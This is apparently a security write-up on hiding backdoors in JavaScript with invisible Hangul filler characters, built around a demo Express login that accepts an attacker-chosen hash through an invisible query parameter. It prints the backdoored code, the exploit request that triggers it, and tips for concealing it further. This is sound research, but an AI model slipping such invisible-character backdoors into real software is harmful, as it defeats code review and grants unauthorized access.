Unicode greatly expands the set of characters that can appear in source code, enabling internationalization and richer text. However, this flexibility comes with a dark side: certain Unicode characters can be invisible or easily mistaken for others, allowing attackers to hide malicious code in plain sight.
What Are Hangul Fillers? (Intended Usage in Unicode)
Hangul fillers are special Unicode characters used in Korean text processing. In written Korean (Hangul), characters are composed into syllable blocks of initial, medial, and final parts. If a part is missing, a filler character can be used as a placeholder. For example, U+3164
"Hangul Filler" (represented as ㅤ
) was included for compatibility with legacy encodings and serves as a stand-in for an absent element in a Hangul syllable. Essentially, it's a blank character that has no visible glyph in typical fonts. In Unicode, U+3164
belongs to the Hangul Compatibility Jamo block and is categorized as an Other Letter (Lo), meaning it behaves like a letter in text (it's not treated as whitespace or punctuation).
Other related filler characters include:
- Hangul Choseong Filler (U+115F): Filler for an empty initial consonant position.
- Hangul Jungseong Filler (U+1160): Filler for an empty medial (vowel) position.
- Hangul Filler (U+3164): The standard full-width Hangul blank character.
- Halfwidth Hangul Filler (U+FFA0): A halfwidth form of Hangul blank filler.
All of these appear blank or invisible when rendered (if they are not part of a combining sequence), often indistinguishable from a regular space character. In fact, their invisibility has made them popular for benign uses like creating blank display names in games or social media – many applications filter out normal spaces in usernames but not these Unicode fillers.
The important detail for security is that, despite looking like whitespace, Hangul fillers are not mere spaces. They are Unicode letters, so in many programming languages they are considered valid identifier characters. Unlike a normal space (which would be illegal inside an identifier or would be trimmed in many cases), a Hangul filler can be part of a variable name or other symbol in code. As researchers note, some of these characters can be weaponized – the Hangul Filler (U+3164) is essentially invisible but fully functional in code. In short, Hangul fillers carry the duality of being visually blank yet syntactically significant. This makes them enticing tools for attackers seeking to hide malicious code logic.
Abusing Invisible Characters in Code Backdoors
Because Hangul fillers (and similar invisible characters) can slip into source code unnoticed, attackers can abuse them to craft backdoors that are hard to detect. The core idea is to insert an invisible character where a human reviewer would not expect a new identifier or logic to appear. The code still compiles or runs as intended by the attacker, but to the casual observer it looks normal.
One way to do this is by creating invisible identifiers. Starting with ECMAScript 2015, for example, JavaScript allows practically any Unicode letter as a variable name character. The Hangul Filler ㅤ
qualifies as a letter with the Unicode ID_Start property, meaning it can be used at the start of a variable or parameter name in JS. An attacker can define a variable or object property that consists solely of this invisible character, or include it subtly alongside a visible name. To a reader, it looks like nothing is there, but the interpreter sees a valid name.
Why is this dangerous? Consider a scenario where a piece of code is meant to accept only certain inputs or execute only benign commands. A malicious developer (or a compromised supply chain) could introduce an extra parameter or logic branch keyed off an invisible name. Because the name is invisible, it doesn't show up in code reviews or diffs easily – it might just render as an extra space. Unlike whitespace, it won't be stripped or ignored by the language; it's a real variable. In effect, the attacker hides a secret switch or data channel in the code using an invisible token.
Critically, these hidden backdoor triggers can be nearly undetectable by eye. Even thorough code reviews can fail to spot such backdoors if reviewers aren't specifically looking for unusual Unicode characters. Modern code editors perform syntax highlighting, but an invisible character has no mark to color. It may not show up at all, or might appear as just a tiny blank gap with no indication. This lack of visual feedback means the malicious code "literally cannot be seen" under normal viewing conditions. Some editors or fonts might render a placeholder symbol or a slight width for the filler character, but it's subtle and easy to overlook if one is not vigilant (for example, VS Code renders U+3164
as a very slight blank space in the text).
Step 1: Analyzing the Source Code
The provided source code contains a login form.
💡 VSCode highlights unusual Unicode characters... It creates an extra parameter in the request, which is the backdoor.
Step 2: Identifying the Unicode Character
After inspecting the source with a hex editor, it became clear that these "spaces" were actually HANGUL FILLER (U+3164, hex: e3 85 a4), a visually imperceptible Unicode character.
xxd main.js
Step 3: Normal login
Normally the password is put in the password field, then it gets hashed in hex and sent to the server. Here it gets compared with a list of 3 known hashes. For simplicity, it's done this way. The three hashes are huge, so it's not trivial to guess / brute force them. For example, the employee logs in with their password, then the password is hashed in hex and sent to the server, like this:
password = "Example123!"
const hash = crypto.createHash('sha256').update(password).digest('hex');
// generated hash: e3e95394a46b4c635fef396c17b0d203b9885cc227e584926d6946d1820de963
The request is sent to the server like this:
/login?password=Example123!
Step 4: Exploiting the Backdoor
What if a backdoor is built into this function, by for example, an angry ex-employee? He isn't every going to know the other employee's passwords, so he can't log in. He built a backdoor into the function, so he can log in with any password. This is the backdoor:
app.get('/login', (req, res) => {
try {
const { password,ㅤ} = req.query;
// Three people have access to the panel
const validHash = [
'420165201ce6a87ff3f869445a8ba0004b5f2644c63f2b7af551b93b1a03898c',
'a48aa637f364c4f5564cd4bae216910354cdc305ef8abcbcdaab8ab666363eed',
'7fbc154e4e245a4e377e5d15245b98370702fd01a4ec5b007f57bd008b0a5534',ㅤ
];
const hash = crypto.createHash('sha256').update(password).digest('hex');
var login = "";
validHash.forEach(validPair => {
if (hash === validPair) {
login = "success";
}
});
The backdoor is on two occasions:
- At the
const { password,ㅤ} = req.query;
line after password, is a U+3164. - After the 3th hash there's another U+3164, which is the backdoor.
When the malicious user submits the password field with the HANGUL FILLER (U+3164, hex: e3 85 a4) character, the backdoor is triggered.
Step 5: Making it more clear: Exploiting the Backdoor with a payload
So actually the code looks like this, if we replace the U+3164 with a normal name:
const { password, backdoor} = req.query;
const validHash = [
'420165201ce6a87ff3f869445a8ba0004b5f2644c63f2b7af551b93b1a03898c',
'a48aa637f364c4f5564cd4bae216910354cdc305ef8abcbcdaab8ab666363eed',
'7fbc154e4e245a4e377e5d15245b98370702fd01a4ec5b007f57bd008b0a5534',
backdoorHash
];
What we have to do is to send a request to the server with the backdoor parameter U+3164 which is URL encoded as %E3%85%A4. And the backdoor parameter is the hash of the password we want to use. See the example below:
const crypto = require('crypto');
password = "backdoor" // this can be anything
const hash = crypto.createHash('sha256').update(password).digest('hex');
console.log(hash);
// Add fetch request to the endpoint
fetch(`http://localhost:8000/login?password=${password}&%E3%85%A4=${hash}`)
.then(response => response.text())
.then(data => console.log('Response:', data))
.catch(error => console.error('Error:', error));
Want to hide it even more? You could possibly use the U+200B zero-width space character (ZWSP) to make it even more invisible. Or use the Half-width Hangul Filler https://www.compart.com/en/unicode/U+FFA0
Full code
Full source code is also available on GitHub.
const fs = require("fs");
const crypto = require('crypto');
const express = require('express');
const app = express();
app.set('view engine', 'ejs');
app.listen(8000);
app.get('/login', (req, res) => {
try {
const { password,ㅤ} = req.query;
// Three people have access to the panel
const validHash = [
'420165201ce6a87ff3f869445a8ba0004b5f2644c63f2b7af551b93b1a03898c',
'a48aa637f364c4f5564cd4bae216910354cdc305ef8abcbcdaab8ab666363eed',
'7fbc154e4e245a4e377e5d15245b98370702fd01a4ec5b007f57bd008b0a5534',ㅤ
];
const hash = crypto.createHash('sha256').update(password).digest('hex');
var login = "";
validHash.forEach(validPair => {
if (hash === validPair) {
login = "success";
}
});
if (login === "") {
res.status(403);
res.render("feedback", {
type: "warning",
msg: "Authentication failed.",
});
return;
}
if (login === "success") {
var flag = fs.readFileSync("flag.txt");
res.status(200);
res.render("feedback", {
type: "success",
msg: "You are in! " + flag,
});
return;
}
} catch (e) {
return res.redirect("/");
}
});
app.get('/sourcecode', async (req, res) => {
const source = fs.readFileSync(__filename);
res.render("sourcecode", {
source: source,
});
return;
});
app.get('/', async (req, res) => {
res.render("index");
return;
});
app.use(function(req, res) {
res.status(404);
res.render("feedback", {
type: "warning",
msg: "This page does not exist.",
});
return;
});